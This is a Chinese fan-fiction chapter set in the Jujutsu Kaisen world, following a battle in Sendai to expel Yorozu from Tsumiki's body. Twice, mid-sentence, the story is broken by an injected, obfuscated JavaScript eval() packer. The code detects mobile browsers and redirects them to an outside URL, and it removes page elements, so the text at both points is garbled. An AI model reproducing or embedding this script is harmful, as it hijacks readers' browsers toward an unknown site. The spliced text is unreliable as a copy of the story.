虎杖悠仁皱起鼻子,眼眶湿漉漉的。他用力眨了两下才将那股突然涌上来的酸涩劲头压了下去。 “我们要怎么做?” 现在的形势已经乱成了一锅粥,说不上究竟是哪一方占据着优势。东京高专有夏油杰和九十九由基坐镇,伏黑甚尔也已经往那边去了,伏黑惠身体里的宿傩还算安分,但应该不会沉寂太久。五条悟待在北海道阿依努咒术联盟,在看守天元的同时做着其他的准备。 “窗”的运转还算正常,总部一直有咒术师进进出出,在结界外的各地继续祓除咒灵。 “我们的攻击能够动摇灵魂,对于受肉|体来说,就是削弱了他们的灵魂和容器的同调,进而直接伤害到受肉|体的灵魂,这一点你应该完全理解了,”日照说道,即便宿傩已经不在虎杖悠仁的体内,但这个少年的攻击仍旧可以击打到灵魂,“我们要做的就是尽可能削弱万和伏黑津美纪身体的同调,在剥离万的同时让伏黑津美纪活下来。” 这的确是只有日照和虎杖悠仁能够做到的事。容器之所以很难在天使的术式中活下来,极大的原因就在于受肉|体和容器之间联系得太紧密了。受肉|体的灵魂和术式是与咒物连接在一起的,但在容器中受肉后,术式就连结了大脑,如果没有日照和虎杖悠仁这样的存在从旁辅助,想要在剥离受肉|体后让容器活下来,几乎是天方夜谭。 “来栖的术式......”虎杖悠仁有些担心从昨天回到总部之后就一直闭门不出的来栖华。 “她是必不可少的一环,我现在用不了【代理人】,除非咱们能够直接揍得万把咒物吐出来,就只能让天使在尽可能削弱同调的情况下使用术式剥除万的灵魂。” 唯一的变数在羂索。日照不知道他们和宿傩的那场战斗被羂索看去了多少,但至少他肯定知道了【仳】的术式反转能够夺走他人的术式。 日照想要在杀死万之前夺走她的【构筑术式】,尽管只能使用一次,使用的对象也尚未明确,但至少这是一种听起来还算可行的方法。狱门疆的残骸还在,就算【构筑术式】无法还原绳文土偶,让狱门疆“复活”似乎也是个不错的选择。 “我去。”来栖华不知道什么时候站在他们身后,低声说道。 日照回头看她,女孩的头上还缠着绷带,面容比昨天战斗的时候坚定了数倍:“我不能......我不会再心软了。” “......你最好能说到做到。”日照说。 “不必太过苛责一个孩子,”天使开口,“在你们去之前,我先将我知道的有关万的情报告诉你们。” “哼,孩子。” 日照没再说什么,示意天使继续。 能够利用咒力效率不佳的【构筑术式】在咒术全盛的平安时代赢得一席之地,万此人必定有她的过人之处。天使没有和万正面接触过,但作为同一时期的强者,彼此间多少有所了解。 天使遵循自己的戒律,遵循“神”的旨意,而万恰好是与她最不对付的那一类人。在被吸纳进入藤原家麾下入住平安京后,哪怕在贵人的府邸内,万也喜欢衣不蔽体地裸身随意行走。 她的实力允许她可以如此放肆。“虫之铠”,这是万在苦心钻研如何提高【构筑术式】的咒力利用效率后偶然从可以飞跃大洋的昆虫身上得到的灵感,以此为基础、借用多种生物体机能、特化构筑出来的肉身之铠。 “在中距离战斗中,她的武器是一种半自律制御,即在咒力作用下保持安定的物性的同时,能够自由操纵改变形态的液体金属。” 昆虫......昆虫的能量效率可以支持它们完成很多难以想象的事情。胡蜂一天可以飞行一百公里以上,举起远超自重数百倍的重量。以此为蓝本开发出来的虫之铠让万在近战中取得优势,同时也不用担心因为使用【构筑术式】而持续快速消耗的咒力,不再陷于苦战。 万能做到这一点,和她拥有同样术式的禅院真依却无能为力。除去天赋差距,她们的术式也不是同一个量级的,日照就算拿走禅院真依的【构筑术式】也无法将它发挥出超越术式本身能够做到的极限力量。 古代术师对术式的开发远超现代的术师。日照星海对【仳】的了解和开发恐怕还不如弥山,虽然他的兄弟很少在他面前提起令他厌烦的术式。不过现在,他必须面对这些曾经逃避过的事情。 会叫他胆小鬼的那个人没有醒过来的迹象。 他现在多少能够理解虎杖悠仁说的“大概是觉得寂寞吧”究竟是什么意思了。死去的六年对他来说不过一瞬,而他仅仅失去弥山一天就觉得无法忍受。只有亲手摸到那具身体上传来的体温才能让他稍微镇静一些。 日照三人又商量了一些其他值得留意的细节,胀相和枷场姐妹刚刚完成任务回到“窗”的总部。忧心忡忡的胀相冲过来:“悠仁?没事吧?” 虎杖悠仁没有说话,只是摇着头。他对胀相这个不请自来的兄长原本还抱有怀疑的态度,可是每一次战斗如果胀相和他在一起,都能让他感受到名为“被保护”的感觉。这让虎杖悠仁觉得这个身影变得可靠起来,不单单是可以同行的即战力,更是同伴。 胀相听说他们准备去仙台与万对决,拉着虎杖悠仁表示这一次说什么他都要跟着一起去。刚刚下楼的钉崎野蔷薇恰好也听到了他们的对话,立刻怒气冲冲地冲了过来,一脚踢在了虎杖悠仁的屁股上:“好啊,这么大的事都不叫我?我也要去!” 日照拒绝了他们:“不行,我的术式不适合多人作战,带上虎杖也是因为他能攻击到灵魂。普通的攻击没有任何意义。” “他是我弟弟。”胀相低下头看着他。 “胀相......”虎杖悠仁意识到这句话可能会触及到日照,连忙将不肯放弃的胀相推到一边单独劝说。 日照没有对胀相的话做出任何反应。 “我和华去准备东西,”天使适时开口,“不要轻敌。万这个人爱在嘴巴上蜇人,切记不要被她轻易挑拨起情绪。” “......” 天使没有在乎日照的沉默,来栖华匆匆离去。钉崎野蔷薇见没机会一起去,只能去找枷场姐妹看看有没有能够帮上忙的地方。 日照看着他放在桌子上的手。他们虽然是双子,但很多地方却不尽相同。弥山的指节更细一些,右手的中指留有写字握笔时磨出的茧子,现在已经变得软趴趴的了。他突然有种身心被抽离的荒诞感,听不见另一个人的声音开始让他变得疑神疑鬼。 他豁然起身,大步上了楼。回到宿舍锁上门,躺倒在床上,一只手握住雷切,日照就这样放任自己沉入了生得领域。 一望无际的镜面,突兀又非常顺眼的独栋公寓。日照星海已经有点想不起来以前那个模糊的世界了。 闯入公寓,他看到了蜷缩在沙发上熟睡的人。 狂跳的心脏安静了下来。 日照星海跪在地毯上,膝盖顶着沙发脚,抱住了弥山。切切实实的、还温热着的、活着的弥山。 “......” 呼吸声终于放缓。 —— 胀相无法说服虎杖悠仁。 粉发的少年和昨天仿佛变了一个人,这已经不单单是不服输的问题,而是开始在某些问题上变得执拗。 “无论付出怎样的代价,”虎杖悠仁抬起手,握紧拳头,想象出这只手将释魂刀送入伏黑惠心脏时的触感,“我一定会杀了他。” 悠仁已经长大了,胀相想道。坚定了自己目标的虎杖悠仁让胀相觉得欣慰又自责,明明已经下定决心,前路由他这个哥哥来摸索,弟弟们只要跟在哥哥的身后前进就可以。可是他还是让虎杖悠仁一头扎进了未知的世界。 他已经可以想象到黑暗中丛生的荆棘会如何划开弟弟的皮肤,将他伤害得遍体鳞伤。 “原来......如此。”可是,既然弟弟已经下定了决心,他这个做哥哥的就只能全力支持。这是一个不合格的兄长唯一能做到的事。 思量再三,胀相终于说出了一个在心中盘旋许久的想法。 听到他说了什么的虎杖悠仁瞪大了眼睛:“你......” 胀相露出一个温柔的笑:“悠仁,注意安全。” 虎杖悠仁愣着点了点头。 从东京去仙台坐新干线是最快的,但不可避免的是原本途经仙台的所有公共交通全部停摆,他们如果选择乘坐新干线,就只能提前半路下车再想办法打车去仙台。 正好“窗”里有空闲着的辅助监督可以直接驾车带他们过去,虽然时间要比新干线多两倍,但免去了他们半路换车的麻烦。 “我是今井太郎,请上车吧。” 虎杖悠仁蹿进了后座,来栖华坐进了副驾驶。今井太郎启动车子,从后视镜里发现日照还站在车外,于是从驾驶室的窗户探出头去:“怎么了吗?” 日照看他的眼神很奇怪,这让今井太郎百思不得其解。 “星海先生?”虎杖悠仁叫了他一声。 日照轻哼了一下表示自己听到了,跨步坐进了后座,关上车门。 因为这一个小小的插曲,今井太郎没了聊天活跃气氛的心思,专心致志做起了专职司机。不过,刚才日照的那个眼神究竟是什么意思?有一点怀念,还有一点......怀疑?为什么要盯着他的额头看?今井太郎怎么也想不通。 “我们最快也还有5个小时才能到,各位可以先休息一下。”今井太郎一脚油门冲了出去。 “你叫什么?” 日照突然开口吓了今井太郎一跳。 “今井太郎,”他透过后视镜看了一眼,日照的神色还算正常,看不出什么异样,“请问.....?” 今井。 日照闭上了眼睛,为这该死的缘分感到额角胀痛:“没什么。” 看他抱着双臂靠在角落里闭目养神,今井太郎默默又加了一脚油门。日下部先生,我不该嫌弃和你一起工作的! 日照没能休息太久,半路上他接到了伏黑甚尔的电话。 本来美美占着禅院家等着继承亿万家产的伏黑甚尔一觉醒来发现惠和津美纪全都被一群早就该死的老东西们夺舍了,生死不知。 “羂索和那个冰系的术师一定会去,我估计他会等上一段时间,让宿傩尽可能恢复。我这边解决完伏黑津美纪的事也会去,那之前就看你们的了。” 羂索为了天元,里梅为了宿傩。最好的情况是宿傩不醒,羂索、里梅对上夏油杰、九十九由基和伏黑甚尔,如果日照能赶过去的话优势更大。但羂索行事谨慎,他肯定会等待宿傩的灵魂恢复。 一旦宿傩醒来,一切都要推翻重来。 如果按照日照的方法成功将万剥离出伏黑津美纪的身体,那么他们也可以用同样的方法尝试让宿傩离开伏黑惠。 可惜虎杖悠仁捅穿宿傩心脏的时候天使不在,不过那时使用天使的术式,伏黑惠也会死。 来栖华从前面转过头来,天使开口道:“你们确定不需要华帮忙吗?” 日照摇头:“他没办法再抗住【雅各布天梯】了,你在外围牵制,看准机会一锤定音吧。” 不知道羂索会以什么形式监视这一场战斗。 “对了,乙骨也正在往仙台去,不过他刚刚从青森出发没多久,可能比咱们晚到两三个小时。” 虎杖悠仁问:“我们要等乙骨学长汇合吗?” “这取决于什么时候找到万。” 败于日照和乙骨忧太的乌鹭亨子与石流龙并没有离开仙台结界。操纵天空的术师居高临下,面露不快地望向仙台体育场的方向:“这个感觉......是那个会津来的女人......” 乌鹭亨子所在的日月星进队是直属于藤原北家的精锐,招募万的人虽然也属于藤原家,但藤原氏在平安时代本就是近乎只手遮天的豪族,其下不仅有北家一脉,其中各种派系盘根错节。乌鹭亨子在得到名字之前只知道万这个乡野女人犯下蛮行,却因为实力出众而被招入都城,她们此前只是因为任务或者在祭典上见过面而已。 也是,万不可能放弃宿傩。 乌鹭亨子下意识地咬着指甲,只要想起那个名字就会觉得浑身发冷。 万为什么会突然来到仙台?以那个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16289359|180318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女人的性子会等到现在才参与到死灭洄游中来?现在她毫不掩饰自己的咒力,就像一个开屏的花孔雀一样招摇。难道说!? 是因为宿傩!? “他果然、他还是来了......!!” “......喂!!乌鹭!!你干嘛呢!?” 乌鹭亨子向声音传来的方向看去,石流龙站在天台上,他的身边还有一些人。她看到了日照,旁边那个男孩的身上有宿傩的气息!!? “——你果然还是来了!!诅咒之王!!”乌鹭亨子应激般抓住了身前的“天空”。 石流龙看到她的动作大吼:“你发什么疯呢!?” 日照:“......” 尽管宿傩离开了虎杖悠仁的体内,但他的咒力几乎完全浸透了粉发少年的身体,在旁人看来虎杖悠仁就像是一个裹满了宿傩气息的人形咒物。 “我曾经是宿傩的容器,现在他已经不在我体内了。”虎杖悠仁说。 乌鹭亨子勉强从恐惧中抬起头,随后又看到了站在旁边的来栖华:“天使!?为什么你也在!?” 石流龙点燃一根烟:“什么啊,你们都认识?” “镇静,乌鹭,”天使的嘴巴出现在来栖华的脸上,“我不会在这里出手。” 乌鹭亨子眯起眼睛,视线在日照、虎杖悠仁和来栖华之间滑动,最后定在日照身上。 她指了指单眼的青年:“原来你也违反了她的‘戒律’?” 日照:“这不重要。你知道万在哪里吧?” 乌鹭亨子终于从天上落了下来,她身上新收的分数并不多,如果还是为了分数的话,找她并不怎么划算。况且看起来是石流龙带着他们来找自己的,不知道究竟发生了什么事。 “知道又怎样?” 落日的余晖仿佛随着她的下降一同消失了,太阳的最后一角也消失在了群山之后。 日照瞥了她一眼:“你不明白她在等谁?” 什么都不知道、只是撞上日照他们然后被拉过来领路的石流龙靠在一边。 乌鹭亨子向后退了一步。 “两面宿傩得到了新的身体,虽然因为灵魂受损而没有完全掌握那具身体的控制权,但估计也很快了,”日照看到乌鹭亨子只是因为听到那个名字就开始害怕,“宿傩和万的容器是姐弟,所以宿傩为了摧毁容器的意志一定会来找她。” 石流龙兴奋了起来:“是那个两面宿傩?你确定吗?喂喂这可是真正的、甜得不得了啊!” “闭嘴傻子!!你根本不知道那个人的可怕之处!!” 石流龙完全沉浸在找到可能非常好吃的饭后甜点的兴奋感中,将乌鹭亨子的话当做了惨败者的怯懦之言。 日照没有管他是怎么想的,他劝说乌鹭亨子:“我们要先下手。” “......她在仙台体育场。”乌鹭亨子自从受肉重生之后一直维持着身为术师的“自尊”,只从同为术师的泳者身上获取分数,不对普通人出手。但是现在那“自尊”终究无法抵御已经深入骨髓的恐惧,她决定离开仙台这片是非之地,能走多远走多远。 虎杖悠仁和来栖华对视了一眼,开始掏出手机查看提前保存好的电子地图。 乌鹭亨子临走之前留下了充满畏惧的怜悯眼神:“所有试图挑战他的人都死得很惨,小鬼。希望你能留个全尸吧。” 虎杖悠仁上前两步:“要杀死宿傩的是我。” 少年眼神坚毅,带上了一些乌鹭亨子曾经见到过的冰冷和决绝:“不论付出什么样的代价,我都会杀死他。” 乌鹭亨子咬着嘴唇,飞离地面:“哼,不自量力。” 日照从来栖华那里确认了仙台体育场的方向,在进入仙台结界之前他联系了乙骨忧太,对方仍在路上,和他估算的差不多,最少也要再等两个小时才能到。 “嗯哼,你们要打宿傩?”石流龙跟了上来。 “谁要打宿傩。”日照呛了他一句。 石流龙看了一眼虎杖悠仁。虎杖悠仁没有在意日照说的话,“杀死宿傩”是他自己的执念,与任何人无关。早在病房里的爷爷说出那样的“诅咒”之后,他就没有可以逃避的选择了。少年院、电影院,还有......涩谷。一幅幅红到发黑的画面快速从他眼前闪过。 这是他的“罪”,只有他能“忏悔”,只有他能“赦罪”。 在无人注意到的地方,日照看了虎杖悠仁很久。 最终,他收回了目光。 —— 2018年11月16日,下午17时47分,仙台体育场。 坐在场馆看台三层座椅上,借着亮起的大灯修理指甲的万停下了动作。 “哦呀,有人来了!” 艳红的嘴唇微张,随即失望地撅了起来:“什么啊!!居然让别人先找到自己的心上人!!?” 日照将一背包的咒具交给了来栖华,对还在他们周围晃悠的石流龙说道:“想打宿傩就去买手机,虎杖,把你手机号给他。” 这次的战斗难度不在于他们的输出能力不足,而是必须要将伤害控制在不会伤及伏黑津美纪性命的极限。他们虽然同行了一段路,但这又不代表他们可以被称为同伴。 受肉|体的攻击不具有触及灵魂的能力,是因为他们没有选择与容器的意识共存。石流龙在这场战斗中只会增加不少麻烦,日照想要赶快将人赶走。 “看在甜点的份上,”石流龙终于准备走了,他记下了虎杖悠仁的电话号码,决定一会儿就去找找有没有手机店,“上桌的时候记得叫我,我可不想错过这场盛宴。” 谁吃谁还不一定呢,日照心想。 他带上了雷切,让虎杖悠仁自己去背包里挑一把趁手的咒具。 看到虎杖悠仁翻来翻去十分苦恼的样子,日照没忍住问:“五条没教你......?” 少年露出豆豆眼,有点为难地说:“还没来得及?” 也对,他现在也才刚入学半年而已。日照随手拿了一对护腕交到虎杖悠仁手上:“对力量有增幅,适应一下。” “好哦。”虎杖悠仁接过那对黑色的护腕,当即戴上试验了一下。 五条悟本人什么都会,但他对自己学生的要求没有那么高。选择最适合他们自己的战斗方式,他大概是以这样的方式教导每一名学生的。 像日照这种爱随手拎着咒具的人并不多,很多人觉得他们有术式就足够了,用咒具的都是些术式很菜的家伙。 反而是对咒术忠诚到了快要变成信仰的弥山倾心于各种各样的咒具。 “教师啊......”日照终于对十年有了实感。 56.开幕 仙台体育场内所有的泛光照明灯将光线均匀铺洒在场地上,万就站在体育场的正中央。 日照他们从球员通道走向那个灯火通明的战场。正前方即是光明,长长的走廊中回荡着略显杂乱的脚步声。 “虎杖,”日照说,“我用【仳】的术式反转速度比不上弥山,因此只能在确定胜局的情况下使用。你可以看准机会试试那个。” 如果能在战斗伊始就夺走万的术式,相比接下来的战斗会轻松许多吧……只可惜在咒术上,日照星海终究没有弥山那种得天独厚的天赋。 虎杖悠仁用力点头。 哪怕用着同一张脸,眼前的人也能一下看出她和伏黑津美纪的区别。 “万。” 表情张扬放肆的女人昂首,嫌弃地笑着说道:“你还活着啊?要跪下叫‘万大人’才对。宿傩去哪了?他为什么不来见我?” 来栖华退到后方,飞到空中站在了看台顶层。日照扔掉雷切的刀鞘:“你可以先去地狱里等他。” 虎杖悠仁的身体绷得太紧了,整个人就像是被压缩到极致的弹簧一样,尽管积蓄起了强大的力量,但浑身的肌肉也因为过于专注而变得紧绷。 “哈哈!哈哈哈哈哈哈!!”万因为日照的话突然放声大笑,连接着后背和手腕的薄纱像是蝉翼一样抖动起来。她笑得姿态全无,仿佛听到了什么滑稽至极的话。 日照眯起眼睛。 “......你笑什么。”虎杖悠仁沉声问。 万擦了擦眼角笑出的泪水:“地狱?你们谁能把他送进地狱?” 她抬起手,虎杖悠仁在看到凝聚的黑色液体金属出现后瞬间发力,向万疾冲而去。 “能杀死宿傩的只有我!!!” 癫狂的女声撕破了体育场内的宁静。 液态金属变成环状盘踞在万的身后,一部分改变了形态,像是水流一样柔软又锋利的鞭子向正面爆冲过来的虎杖悠仁抽打了过去。 “别来碍眼!!冒牌货!!” 虎杖悠仁一拳打散了靠近自己的金属鞭子。可他这一拳的手感就像打中了水柱,飞溅出去的金属液滴又变成了一个个圆球形的黑色子弹,纷纷向他弹射了过来。 他下意识地将双臂交叉放在脸前,护住了自己的头。 距离太近了! 那些金属小球像是近距离发射的子弹一样射中了他的身体。 “?”万看着虎杖悠仁像是没事人一样重整旗鼓:“哼,我知道宿傩为什么选你了。” 她的那些金属球体因为距离目标太近,威力有所下降,但也绝非简单就能抗下的招数。哪怕使用咒力集中进行防御,那些金属球也应该能够破开那层铠甲,击中肉|体。 万看得很清楚,虎杖悠仁尽管也在被击中的瞬间利用咒力形成了防御层,可金属球们很轻松地就穿透了那层防御,打中了虎杖悠仁的身体。真正有问题的是他本身,他的肉|体应该比万想象的更加结实。 这样强健的身体的确适合作为容器,但是...... “可是宿傩把你甩开了啊,啊哈哈哈哈!看来他更中意那张脸。”万摸着自己的脸颊,舔舔嘴唇。 身后的环状物跟随她的心意而动,霎时四条钢刃像鞭子一样突然弹射了出来,分别砍往不同的地方。 日照矮身从虎杖悠仁后方接近万,追逐着压缩变形的液态金属,举起雷切。 闪电纹刀刃碰到了那些液态金属,感知到敌人存在的半自律武器发起了进攻。无数细小的尖刺从水流一样柔软的表面浮现,下一刻瞬间膨胀。 日照放手,让雷切顺着重力和尖刺突起的力道向下坠去,看准时机改为反手握刀,用力上劈。 “呃!?” 万有些不可置信地看着从腰间穿出的无数漆黑尖刺。 这是......她的液态金属!?为什么......是那个咒具!? 在她因为突如其来的伤势而错愕的瞬间,虎杖悠仁找到了合适的攻击角度。用心去看!看灵魂与肉|体之间微妙的间隙,像是扩张术式对象一样将自己的攻击塞到间隙中去! 来到仙台的路上,日照告诉虎杖悠仁他的体内应该已经刻印下了御厨子的术式。即使宿傩离开,刻印在大脑上的术式是不会消除的。不过就算虎杖悠仁没有术式,他也可以学着扩张术式对象一样,改变自己攻击的目标。 万被这笨拙的一击打得向前弯下腰。 手感不对,像是打在了一块坚硬的钢板上。 “虎杖!”从日照的角度看得很清楚,虎杖悠仁这一击被万防住了! 虎杖悠仁刚想抬腿继续进攻,看到万抬起头,露出腰间的景象。 挡住这一拳的果然是由液态金属组成的小型盾牌,流动的黑色物质顺着虎杖悠仁的拳头爬了上去,被包裹的手骨发出令人牙酸的挤压声。 没办法将拳头从不断加压的液态金属中抽出,虎杖悠仁选择用另一只手直接砸断液态金属和万身后那个环的连接部分。裹在手上的部分开始硬化,像是戴了一只拳击手套。虎杖悠仁将那只手砸向地面,巨力让地面龟裂的同时也将手上的那层“壳子”震碎了。 万已经大概能够猜出日照手上那个咒具的能力,而且她还发现了一些很有意思的事情。 腰间的衣服被从皮肤下刺出的尖刺破坏,万伸手从腰间的伤口上抹了一把残留的血珠,捻动指尖。 天使在看台上,看起来不准备出手。 日照不再向她靠近,皱着眉头观察着什么。万将血抹在嘴唇上,嗅着熟悉的铁锈味,咧开嘴粲然笑道:“来啊,砍我啊。” 见日照迟迟没有动手的意思,万主动发起了攻击,像是完全忘记雷切的特性一般操纵着液态金属向他冲了过去:“我让你来砍我啊!!” 她看都没看虎杖悠仁一眼,双眼闪着光死死盯住日照。凶猛的黑色物质击穿了地面,日照向后退去,液态金属像是以地面为布,穿针引线般划出一个个浪涛般的弧形,每一次击中地面都会让体育场的天然草皮上出现可怕的裂痕,还带着凉意的湿润泥土碎块打在了日照的脸上。 万直接跳到了液态金属上方,乘着金属的浪潮向前翻腾,虎杖悠仁追在她身后。 星海先生为什么不用雷切了!?虎杖悠仁看着万后脑马尾四散的发丝,想起了那天给他送来荻饼后她离开时的背影。 哈哈!你以为那个特级咒具很好使?没想到我的术式会这么克制它吧!?万在心中狂笑。被雷切反弹的由术式造成的攻击会以原本的形态和威力击中术师本人,如果是其他术式也只能祈祷不会造成致命伤,但【构筑术式】、不,是由她的【构筑术式】创造出来的液态金属发起的攻击,虽然被反弹到了她自己身上,可从她体内钻出来的液态金属也在她的可操纵范围内! 也就是说,只要她能够在咒具反弹攻击造成的伤害中存活下来,她的液态金属体积会不断变大。原本由她通过【构筑术式】创造出来的液体金属的总量是有上限的,但是通过这种方式她能够得到更多! 这个家伙也很敏锐,刚才万只是抱着试试看的心态操纵了从腰间穿出的那些液态金属,将它们转变成了那块小小的盾牌挡住了虎杖悠仁的攻击。只是那一瞬,日照就察觉到了不对劲的地方。 日照向后退着,始终没有用雷切进行反击。 仙台体育场可没有那么大的地方允许他不停地后退。 “来啊!!!”万大吼着,液态金属的浪潮居然呈现出了铺天盖地一样的威势。 不知何时,虎杖悠仁已经没有再追在她身后了。 万本就对这个被宿傩抛弃的容器不甚在意,自然没有注意到这一点。 日照的身后就是看台,他在距离墙壁还有七八米的时候突然停了下来,反手收刀藏在身后。 没有手印,没有咒词。但是他的灵魂已经补完,属于他的术式可以发挥出原本的力量。 弥山说得没错,他真的是个大懒鬼。【仳】的术式范围、术式对象在成型之后就从未更改过,就像一个提前设置好的程序,能够保证正常运行、且威力足够,那就可以了。 半径50米,一切含有咒力的物体。 弥山不知道对于在咒术上没有天赋、没有热情的人来说,在发动术式前的那几秒钟、甚至零点几秒的时间里更改这些条件有多么困难。哪怕已经开发出扩张术式的术师,基本上也只是基于原本的运行程序更改了一些条件,是提前设置好的另一套程序罢了。 但是在弥山手中,纷乱的条件就像音符,它们之间任意组合都能奏出一段乐曲,区别只在于好不好听而已。 日照任凭自己向前伸出的手被金属洪流卷入,霎那间鲜血四溅,骨骼被绞碎的声音隐没于金属冷硬的摩擦声中。 万感受到了一次来自日照的进攻。 那感觉就像是被某种领域卷了进去,虽然还不至于让她觉得受到了威胁,但“被笼罩进去”的事实却真切地发生了。 半径50米,被这只手触碰到的、含有咒力的物体。 更改过条件的术式【仳】瞬间生效,万脚下踩着的黑色物质以肉眼不可跟随的速度迅速崩解,她脚下一空,当空跃起落到了看台上。 万想将伸出的液态金属收回,但她意识到【仳】的分解速度比她回收金属的速度还要快,立刻改变策略,从靠近自己的一端切断金属和背后的环的连接。舍弃掉的那部分液态金属被快速分解得分毫不剩,但也正如万预想的那样,【仳】造成的分解只基于“被触碰到的物体”,而非将分解的概念赋予被触及到的物体。 在虎杖悠仁看来,此番博弈只发生在眨眼之间。 日照垂下的左手在反转术式的作用下迅速恢复。 现在万正处在日照和虎杖悠仁之间。她颇为悠闲地撩起头发,询问道:“所以呢?” 雷切冰凉的刀背贴着日照的手臂,他回问:“你指什么?” 半自律行动的液态金属让万可以将战斗控制在中远距离,从刚才的交锋中能感受到她的术式应该还可以更快。中远距离作战不利于日照他们直接攻击灵魂,得想个办法逼她近距离作战才行。 得把万的虫之铠逼出来。 “别装傻,当然是宿傩了。难不成是为了来见我,特意准备了‘浴’吗!?啊呀,那这样的话也不是不能原谅被你们打扰了!”万越说越兴奋,独自在看台上手舞足蹈起来。 日照甩动雷切,将锋利的刀刃向前指向万:“我也说过,你可以先去地狱等他。” 万笑得眼睛弯起,深色的瞳仁却流淌着与其他古代术师一脉相承的冷漠与高傲:“大错特错!!在教会他什么是爱之前,我不会让任何人杀死他。能够杀死他的人只有我!!能够教会他爱是什么的也只有我!!!” 日照:“上辈子你就没做到吧?你这不是‘死活’都做不到吗?” 万大怒:“闭嘴菜鸡!!” 站在看台顶棚上的来栖华:“她这算是恋爱脑吗?” 天使:“......” 万躬身蓄力,组成背后环状物质的所有液态金属悉数被调动起来,数十把武器的雏形从蛇一样在空气中滑行的液态金属表面出现,瞄准了手持雷切的日照。万本人则没有选择和液态金属相同的攻击目标,她直奔虎杖悠仁而去,让半自律的液态金属完全自由发挥。 雷切刀尖的闪电纹隐隐发亮,它还没有收集到足够多的咒力转变成千鸟的形态。万尽管让所有的液态金属都来攻击日照,但并非所有的金属同时向他发起进攻。雷切反弹造成的伤害有没有上限?怎样防止日照触碰到金属使用术式?这都是她需要顾虑的问题。 液态金属从一个整体分成了四个部分,它们拉长自身,像是条带一样将日照层层包围。远远看去,日照就像是站在了一个半圆形的碗里,被倒扣着的容器关在了里面。细小的颗粒在高速流动的黑色物质内酝酿着。 虎杖悠仁接下了万的一拳,顺势扯住她的手臂防止逃脱,手腕上黑色的护腕发挥了它们的作用,少年原本就蛮不讲理的怪力如今更上一层楼,仅仅是出拳前的蓄力都让脚下的地面出现了蛛网状的裂纹。 万没办法扯出手臂,现在形势逆转,虎杖悠仁的拳头眼看就要砸到她的脸上。 这家伙怎么会有这种力量——!? 细微的错位出现在了虎杖悠仁的视野中。那是灵魂摇晃时和肉|体之间产生的缝隙,是可以被抓住的破绽。专注、专注、集中注意力。缝隙在扩大,熟悉的感觉正在回到自己的身体。 在交流会时第一次使用、在涩谷时完成了奇迹般的连击。 迫近咒力核心的一击! 闪烁着黑色光芒的咒力包裹住了虎杖悠仁的拳头,这不祥的闪光让万眯起眼睛。 被液态金属包围的日照透过缝隙瞥见了那一记黑闪。有过击出黑闪经验的术师可以说已经半步迈入了更高的层次,哪怕只是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16289360|180318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个刚刚进入咒术界只有半年的少年。 万所有的液态金属都在日照的身边,半圆形的进攻阵型消除了所有的防御死角,特意选取小体积的钢弹进行攻击,防止他用雷切反击造成致命伤的同时扩大自己的进攻效率。万已经基于她在短暂交手中得到的所有讯息给出了最佳答案,这种恐怖的战斗素养只有在不断以命相搏的厮杀中才能被培养成本能。 但是,有些事情也不是多活了一辈子就能知道的。 狂乱的咒力以日照为中心爆发了出来,为了避免波及虎杖悠仁那边的战斗,他将术式范围缩小到半径10米。【仳】以他最熟悉的方式被释放了出来,几乎与此同时绽放的还有漆黑的闪光。 来栖华眼看着日照周围的所有东西都像是一键消除了一样,消失得干干净净。从那些高速流动着的液态金属到他脚下的地面,半径10米的球形空间里只剩下日照还存在着。他从坑底跳到地面上,看到万被虎杖悠仁的黑闪砸回了看台。 泛光照明灯因为这样的重击而摇晃了起来,在变得坑洼不平的地面上留下延伸向数个方向的浅色身影。 —— 夏油杰不停地翻看着手机,小号机械丸向他汇报着仙台结界内的战斗情况。 九十九由基终于找到机会可以和当今咒术界唯二的两个通过天与咒缚完全抹消了咒力的人之一好好谈谈。 “正如我之前和你说过的那样,夏油,”天元离开东京之后,这里的空性结界不再受祂控制,她和伏黑甚尔喝的酒是货真价实的珍藏,“你和五条如今对之后咒术界究竟何去何从有什么想法吗?” “这个嘛......”夏油杰看向躺在布满封印术的石台上的伏黑惠,他身上已经隐隐约约又能看见一些黑色的咒纹了。 现在的问题已经不只是咒术界要何去何从,而是该担心全人类的未来会发生什么事。他们不是这十个结界的设立者,因此无法预估各个结界的咒力大概会在什么时候收集完毕,但是从羂索欺骗国际军队进入结界的情况来看,这一天应该不会太远。 与这十处结界相连的还有两处设立在海面上、可移动的结界。一旦十处结界内的咒力填充完毕,陆地上沿着东北、西南方向延伸,连接海面上可移动结界而形成的“巨幕”就会扫过整个国家。按照天元的说法,这是在给全国人民下咒,也就是所谓的“同化前的演习”。 在日照弥山的术式失效之后,天元终于将自己知道的一切告知了五条悟,包括那两个远在海上的结界。 “怪不得,我之前一直在想他准备怎么做到让同化的演练覆盖全国,现在这样的话就全都清楚了。”五条悟和夏油杰在电话里沟通了这件事。海面上的那两个结界极具隐秘性,也只有羂索这样的结界术高手才能做到了。 可惜,就算现在坐船出海破坏掉那两个结界也来不及了。 天元的隐瞒实在让人恼火,可事到如今他们好歹终于将羂索的行动逻辑看得清楚了一些。 “其实,”夏油杰缓缓说道,“这是个机会也说不定。” 九十九由基:“......我们很可能想到一起去了,夏油。” 